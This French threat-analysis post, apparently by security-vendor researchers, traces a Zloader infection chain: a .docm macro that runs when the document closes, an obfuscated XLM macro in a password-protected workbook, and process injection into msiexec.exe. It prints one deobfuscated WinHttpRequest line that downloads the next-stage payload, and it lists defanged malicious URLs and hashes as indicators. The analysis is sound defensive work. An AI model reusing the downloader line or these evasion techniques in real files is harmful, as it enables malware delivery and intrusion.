Zloader, alias Terdot, une variante du célèbre malware bancaire Zeus, est connu pour utiliser agressivement les fichiers « .xls » et « .xlsx » comme vecteur initial de sa charge utile. Malgré cela, nous avons récemment découvert un fichier « .docm » utilisé par la famille Zloader pour effectuer son activité initiale. Cela montre que les pirates aiment expérimenter avec les documents Office pour éviter d'être détectés par les solutions de sécurité.
Vecteur initial :
Ici, la chaîne d'infection commence par un fichier « .docm » . « Docm » signifie « document Word Office compatible avec les macros ». On peut voir ci-dessous l'aperçu du document demandant à l'utilisateur d'activer le contenu.
Comme pour de nombreux autres documents, nous avons tenté d'observer son activité après l'activation du contenu, mais aucune activité n'a été constatée. L'analyse de son code VBA nous a permis de comprendre que l'activation du contenu n'entraîne pas l'exécution de la macro. Ici, l'exécution de la macro démarre à la fermeture du document, comme illustré.
Dès que la victime ferme ce document, la fonction « nnn », fonction principale de cette macro VBA, est appelée. Celle-ci déclenche ensuite l'exécution de sous-fonctions. Les attaquants utilisent également « Userform » pour exécuter l'étape suivante.
La fonction UserForm_Initialize() permet d'appeler « Userform2 ». L'image ci-dessous présente l'objet userform2. Dans sa boîte de dialogue, les données d'URL sont fragmentées et superposées sur la 25e zone de liste déroulante afin de masquer les données réelles, comme illustré ci-dessous.
Après avoir parcouru tous les ComboBox de userform2, nous avons pu localiser l'URL malveillante utilisée pour télécharger la charge utile de la 2e étape.
Pour résumer l'activité ci-dessus, les adversaires utilisent la boucle for pour accéder à toutes ces valeurs et créer l'URL finale comme indiqué ci-dessous,
Le site malveillant « hxxps[:]//feelingfit-always[.]com/1[.]php », classé 11 au classement des virus, est utilisé pour télécharger un fichier XLS protégé par mot de passe. Son mot de passe est masqué dans la macro VBA de « Userform1 ». L'exploration des données de ce dernier nous a permis d'extraire le mot de passe masqué.
Charge utile du 2e étage :
La protection des documents par mot de passe est une technique classique pour se protéger des éditeurs d'antivirus. Un mot de passe correct est nécessaire pour approfondir l'analyse. Après avoir vérifié la correspondance du mot de passe ci-dessus, nous pouvons enfin visualiser le contenu du classeur Excel. La macro XLM est utilisée dans la feuille « Sheet3 » pour effectuer d'autres opérations.
Le code est ici intégré dans différentes cellules du document. La figure ci-dessous présente le code de macro extrait du classeur ci-dessus :
Ici, les adversaires utilisent des fonctions Excel intégrées comme IIF et Switch pour masquer les données. Le code final désobfusqué est présenté ci-dessous :
WinHttp.WinHttpRequest.5.1.open GET https[:]//santarosafuneralhome[.]com/2.php False
WinHttp.WinHttpRequest.5.1.SetRequestHeader
WinHttp.WinHttpRequest.5.1.envoyer
L'URL malveillante ci-dessus ayant un score total de virus de 8 est utilisée pour télécharger la charge utile de la 3ème étape de cette attaque.
Analyse de la charge utile finale :
La DLL constitue la charge utile finale de Zloader. Elle est fortement obscurcie et évite les appels directs aux API Windows. Le hachage est utilisé pour calculer les adresses et effectuer l'appel avec les valeurs calculées, ce qui rend l'inversion difficile.
La DLL crée le processus « msiexec.exe », qui est un véritable processus Microsoft appartenant au programme d'installation des composants Windows, en mode suspendu et lui injecte un fichier crypté.
Il injecte également une routine qui décryptera et fera sortir le PE malveillant pour exécution.
Avec le paramétrage du contexte du thread, le point d'exécution initial est passé et enfin le code injecté est exécuté avec le thread de reprise.
Lorsque ce thread de msiexec.exe entre en exécution, il essaie d'établir une connexion à ses serveurs CnC comme indiqué,
Étant donné que ces URL étaient hors service au moment de l'analyse, nous n'avons pas pu approfondir le sujet.
Conclusion:
Ce type d'attaque illustre la manière dont les adversaires innovent dans leurs mécanismes pour déclencher une chaîne d'infection et compromettre la victime. L'utilisateur doit toujours être prudent lors de l'ouverture de fichiers Office. Quick Heal et Seqrite solutions de sécurité d'entreprise Protégez vos clients contre de tels fichiers. Pensez donc à toujours mettre à jour vos solutions de sécurité des terminaux.
CIO:
DOCM:
117fafb46f27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d
409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1
91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4
XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591fd68c59dfc89
URL:
https[://]tiodeitidampheater.tk/post.php
https[://]actes-etatcivil.com/post.php
https[://]ankarakreatif.com/post.php
https[://]www.ramazanyildiz.net/post.php
https[://]hispaniaeng.com/post.php
https[://]www.ifdd.francophonie.org/post.php
Expert en la matière
Anjali Raut
Priyanka Shinde
